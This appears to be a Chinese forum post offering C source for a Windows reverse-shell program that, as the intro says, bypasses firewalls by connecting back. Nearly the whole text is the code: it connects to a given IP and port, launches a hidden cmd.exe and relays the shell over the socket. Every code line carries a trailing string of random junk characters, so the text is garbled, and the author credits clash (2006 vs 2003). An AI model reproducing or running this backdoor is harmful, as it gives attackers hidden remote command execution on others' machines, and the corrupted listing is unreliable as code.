Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 22
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/* ============================== \^kyC1  
Rebound port in Windows NT GdavCwJ  
By wind,2006/7 jK#y7E  
===============================*/ .*>LD  
#include OE-$P  
#include X6~y+R  
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#pragma comment(lib,"wsock32.lib") :4h4vp<  
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void OutputShell(); a}a_&rf~Z  
SOCKET sClient; p#O#MN*  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; zh'TR$+\hO  
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void main(int argc,char **argv) |EaGKC(   
{ -
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WSADATA stWsaData; .b]g#Du=  
int nRet; Tk9*@
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SOCKADDR_IN stSaiClient,stSaiServer; Phl't~k  
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if(argc != 3) |H5){2V>K  
{ rd\mFz-SB  
printf("Useage:\n\rRebound DestIP DestPort\n"); []0`>rVq  
return; 6hYv  
} 2](R}  
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WSAStartup(MAKEWORD(2,2),&stWsaData); U KF/v
 
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); }1w[G;$  
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stSaiClient.sin_family = AF_INET; jK\2y|&&c  
stSaiClient.sin_port = htons(0); K;G1cFFyG  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); f3U#|(%(*  
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) BD,JBu]  
{ UuAn`oYhV  
printf("Bind Socket Failed!\n"); 3S:}fPR  
return;
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} \SnW(,`oX  
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stSaiServer.sin_family = AF_INET; O{&5/xBA  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); %,MCnu&Z  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); o(>!T=f  
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) bOux8OHt*  
{ oo3ZYA  
printf("Connect Error!"); x2/|i?ZO  
return; LLg ']9  
} TclZdk]%T  
OutputShell(); g8mVjM\B;  
} [+gX6  
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void OutputShell() 2Y&z}4'j  
{ eg)=^b  
char szBuff[1024]; }_0?
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SECURITY_ATTRIBUTES stSecurityAttributes; 9M~EH?>+[  
OSVERSIONINFO stOsversionInfo; S D]d/|y  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; IoJkM-^H&)  
STARTUPINFO stStartupInfo; 'Y6{89y  
char *szShell; Kom$i<O?48  
PROCESS_INFORMATION stProcessInformation; -hL8z
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unsigned long lBytesRead; 5|xFY/%  
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); 1QE-[|  
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); Q <^'v>~n  
stSecurityAttributes.lpSecurityDescriptor = 0; b.h~QyI/W  
stSecurityAttributes.bInheritHandle = TRUE; kX\t0'=]  
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); 5h+g^{BE  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); M\,0<{  
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); Pp:(PoH  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?;+=bKw0  
stStartupInfo.wShowWindow = SW_HIDE; sL~TV([6/  
stStartupInfo.hStdInput = hReadPipe; f`p`c*  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; 4eYj.=I  
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GetVersionEx(&stOsversionInfo); iYHD:cg)~  
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switch(stOsversionInfo.dwPlatformId) `f*
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{ Ws4aCH1  
case 1: W )q^@6[d  
szShell = "command.com"; rYeFYPS  
break; rcq(p(!  
default: g$?B!!qT  
szShell = "cmd.exe"; <N=
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break; C$aiOK-]+  
} `HgT5}  
7&:gvhw  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); JE9|;A  
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send(sClient,szMsg,77,0); 9HRYk13ae  
while(1) J@H9nw+Q  
{ D._q'v<  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); 8G1Tpn  
if(lBytesRead) K`j#'`/KC  
{ W&}R7a@:<~  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); MT$OjH'Q`  
send(sClient,szBuff,lBytesRead,0); ^]Lr_k  
} 7}%3Aw6]S  
else ^g~Asz5]  
{ &y mfA{s  
lBytesRead=recv(sClient,szBuff,1024,0); ,/m<=`*N|  
if(lBytesRead<=0) break; K;_p>bI5  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); xI<Dc*G  
} T5-50nU,~  
} C z4"[C`;  
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return; ^;<s"TJ(m)  
}